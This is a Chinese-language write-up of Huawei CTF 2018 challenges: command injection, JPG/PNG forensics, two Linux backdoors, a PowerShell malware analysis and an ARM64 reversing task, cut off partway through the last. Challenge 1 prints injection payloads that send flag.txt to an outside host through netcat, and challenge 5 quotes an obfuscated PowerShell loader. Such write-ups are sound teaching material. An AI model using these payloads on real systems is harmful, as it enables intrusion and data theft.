Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

华为CTF 2018 Writeup

0
0

挑战 1 废弃的筒仓

类别: Web

这个挑战题目的页面向我们展示了一个表单,在输入框可以指定参数来 ping 我们输入的 ip 。页面提供了一个线索,告知我们 flag 在文件 flag.txt 中。


华为CTF 2018   Writeup

我们尝试注入使用netcat建立反向连接的命令,127.0.0.1;nc reverse.sistec.es 8080。

我们验证了反向连接已经成功建立,我们可以通过这个反向的 shell 来读取保存 flag 的 flag.txt 文件。

127.0.0.1;cat flag.txt|nc reverse.sistec.es 8080

我们成功读取到了服务器上的 flag 。


华为CTF 2018   Writeup

挑战 2 PARANORMALGLITCH

类别:电子取证

这道题目是在 JPG 图像中找到 flag 。为方便起见,我们将使用 gatos.jpg 作为要分析的文件的名称。


华为CTF 2018   Writeup

该文件的大小是 670081 字节,

file gatos.jpg
gatos.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 1920x1024, frames 3

我们 可以使用一些签名搜索工具,例如binwalk,photorec和或者是foremost。

使用foremost工具,我们得到了相同的JPG图 像,但大小为 196951 字节。我们怀疑在 JPG 图像之后还隐藏着另一个文件或重要数据。

我们从偏移量 196951 中提取数据

dd if=gatos.jpg of=part2 bs=1 skip=196951

我们分 析这个新的文件part2。很快,我们就看到有IHDR和IDAT 字符串的存在,所以,看起来我们找到的这个文件应该是一个 PNG 图片。

xxd part2 |head
00000000: 0d0a 1a0a 0000 000d 4948 4452 0000 0400 ........IHDR....
00000010: 0000 0288 0806 0000 00ee 2e88 0c00 0000 ................
00000020: 0662 4b47 4400 ff00 ff00 ffa0 bda7 9300 .bKGD...........
00000030: 0020 0049 4441 5478 daec dde9 93a4 5776 . .IDATx......Wv
00000040: dff7 efbd f759 72ab acbd 7a43 3730 0007 .....Yr...zC70..
00000050: 98c1 7048 0ec5 4594 4c29 4221 4b61 5bf2 ..pH..E.L)B!Ka[.
00000060: a208 ff3d e2df e1b0 432f 1cb2 23ec b06c ...=....C/..#..l
00000070: 5914 456d 2629 919c 2139 43ce 7008 6200 Y.Em&)..!9C.p.b.
00000080: 34d0 68f4 5a5d 5d6b aecf 72ef f58b 2733 4.h.Z]]k..r...'3
00000090: 2bbb d0d5 682c 33e8 46ff 3e98 8cca caaa +...h,3.F.>.....

我们将此文件的开头与另一个 PNG 文件或维基百科中显示的示例图片进行比较。


华为CTF 2018   Writeup

我们看到这个文件丢失了 PNG 文件头的前 4 个字节(因此数据恢复程序没有识别出这是个 PNG 图片文件)。我们 用xxd和cat把文件头的前四个字节添 加进去。

echo 89504e47 | xxd -ps -r > pngheader
cat pngheader part2 > image.png

这个图片 文件不是100%的正确,并且不是所有的看图软件都能正常打开,即使是这种情况,我们也可以使用GIMP正常打开查看图片并获得flag。


华为CTF 2018   Writeup

挑战 3 后门分析 1

类别:电子取证

接下来的题目是分析一个操作系统是 Ubuntu 16.04 的受感染的虚拟机。

我们使用用户 ctf 访问服务器,然后使用 su 命令切换到服务器的管理员用户来进行更彻底的分析。

一开始我们收到一条错误的消息,这条错误信息告诉我们有一些东西被感染了。


华为CTF 2018   Writeup

在 .bashrc 文件的末尾我们看到有一个可执行文件,隐藏的是方式是尝试使用多次换行。

/bin/sh311.x

我们分析这个二进制文件并使用 ltrace 观察如何生成 flag 的字符串。


华为CTF 2018   Writeup

挑战 4 后门分析 2

类别:电子取证

第二个后门是我在使用 ps 查看了正在运行的进程后找到的。


华为CTF 2018   Writeup

我们分析二进制文件 /usr/sbin/psl 并使用 strings 获取到 base64 编码过的字符串。

Watch this: dV9SVAETWkATdX9ydEgDCwQAVQZSCgsFClBVVgJSBQNQVwACAlcDV1cAB1IBCk45Cg==

使 用Auto Solver里的PatataUtils工具类,我们解码了base64的内容并获得了flag。

在复杂的编码方式中,必须使用XOR0x33对文本进行解 密 / 解码。


华为CTF 2018   Writeup

PS :受感染的二进制文件是 /bin/ls


华为CTF 2018   Writeup

挑战 5 网络犯罪分析

类别:电子取证

在此挑战中,我们被要求分析恶意软件 do_not_remove.bat 然后找到 flag 。

在第一次分析中,我们发现它是一个 powershell 脚本,它执行了 Base64 中编码过的代码。

Invoke-Expression $(New-Object IO.StreamReader (
$(New-Object IO.Compression.DeflateStream (
$(New-Object IO.MemoryStream (,
$([Convert]::FromBase64String("...")))),
[IO.Compression.CompressionMode]::Decompress)),
[Text.Encoding]::ASCII)).ReadToEnd();

我们解码 base64 中的文本得到了一个二进制文件,如果我们查看代码,我们接下来回看到程序是如何使用 CompressionDeflateStream 函数的。

base64 -d b64.txt > bin
printf "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00" |cat - bin |gzip -dc > code
华为CTF 2018   Writeup

此代码中最可疑的部分是在 User-Agent 中发送的十六进制字符串。在尝试对其进行解码之后,我们可以发现,从 1f 8b 08 00 字节开始是另一个 gzip 文件 。

echo 1f8b08004b17425b0003f32f4ab70acd4d2a4acdc949b456f0c82f2eb10a700cb756082d4e2db24ac9cf4dcccc4b4cc9cdccb35670cb494cb772f37174af4e4e4a4b3233374b4d4c363632304f364849324d31324f33b54c35354e333432ab05006811b54b55000000 |xxd -ps -r |gzip -dc
Org:Umbrella; Host:PAW; User:domainadmin; Flag:FLAG{cbfb676eac3207c0db5d27f59e53f126}

挑战 6 ARMOURED KITTEN

类别:逆向

这个题目是逆向一个 ARM64 的二进制文件获得 flag 。

file re1
re1: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, for GNU/linux 3.7.0, BuildID[sha1]=48e70b04d5fdfcaccb8442dda6fec030f0f6b822, stripped

我们首先遇到的第一个困难是我们无法在 x64 架构的机器上原生的执行这个二进制文件。我们可以安装 qemu 来执行并调试这个程序。

当我们执行二进制文件时,程序会等待我们输入一些文本并检查输入的内容是否正确。

qemu-aarch64 ./re1
wat do u want? patatas
oh noes! you no haz flag!

使用反汇编程序( r2 , gdb , IDA )分析二进制文件时,我们看到输入正确的内容时程序输出的文本是

yes, u got it! submit!

我们使用 IDA X-Rays 来反编译代码并进一步理解二进制文件的操作。


华为CTF 2018   Writeup
我们看到一系列循环操作,其中验证我们输入的字符是否正确的逻辑符合一系列线性方程。 这个挑战与baby-re非常相似,我在2016

Viewing all articles
Browse latest Browse all 12749